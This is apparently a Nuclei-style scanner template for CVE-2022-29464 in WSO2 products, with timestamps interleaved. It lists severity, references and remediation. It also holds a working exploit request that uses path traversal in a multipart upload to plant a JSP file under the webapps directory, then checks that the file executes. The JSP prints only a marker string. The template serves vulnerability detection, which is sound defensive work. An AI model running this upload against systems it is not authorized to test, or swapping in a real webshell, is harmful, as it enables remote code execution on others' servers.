2022-04-21 07:02:42 +00:00
id : CVE-2022-29464
info :
2022-05-20 21:38:52 +00:00
name : WSO2 Management - Arbitrary File Upload & Remote Code Execution
2022-04-21 07:02:42 +00:00
author : luci,dhiyaneshDk
severity : critical
2022-05-20 21:38:52 +00:00
description : |
Certain WSO2 products allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.
2023-09-06 11:59:08 +00:00
remediation : |
Apply the latest security patches and updates provided by WSO2 to mitigate this vulnerability.
2022-04-21 07:02:42 +00:00
reference :
- https://shanesec.github.io/2022/04/21/Wso2-Vul-Analysis-cve-2022-29464/
- https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738
2022-04-21 07:11:01 +00:00
- https://github.com/hakivvi/CVE-2022-29464
2022-05-20 21:38:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-29464
2023-07-11 19:49:27 +00:00
- http://www.openwall.com/lists/oss-security/2022/04/22/7
2022-04-22 16:31:52 +00:00
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-04-22 16:31:52 +00:00
cve-id : CVE-2022-29464
2023-08-31 11:46:18 +00:00
cwe-id : CWE-22
2023-10-14 11:27:55 +00:00
epss-score : 0.97471
2023-10-16 10:55:14 +00:00
epss-percentile : 0.99954
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:wso2:api_manager:*:*:*:*:*:*:*:*
2022-04-21 07:02:42 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : wso2
product : api_manager
2023-09-06 11:59:08 +00:00
shodan-query : http.favicon.hash:1398055326
2022-07-21 17:18:22 +00:00
tags : cve,cve2022,rce,fileupload,wso2,intrusive,kev
2022-04-21 07:02:42 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-04-21 07:02:42 +00:00
- raw :
- |
POST /fileupload/toolsAny HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=---------------------------250033711231076532771336998311
Content-Length : 348
-----------------------------250033711231076532771336998311
Content-Disposition : form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp";filename="test.jsp"
Content-Type : application/octet-stream
<% out.print("WSO2-RCE-CVE-2022-29464"); %>
-----------------------------250033711231076532771336998311 --
- |
GET /authenticationendpoint/{{to_lower("{{randstr}}")}}.jsp HTTP/1.1
Host : {{Hostname}}
req-condition : true
matchers :
- type : dsl
dsl :
2022-05-20 21:38:52 +00:00
- "contains(body_2, 'WSO2-RCE-CVE-2022-29464')"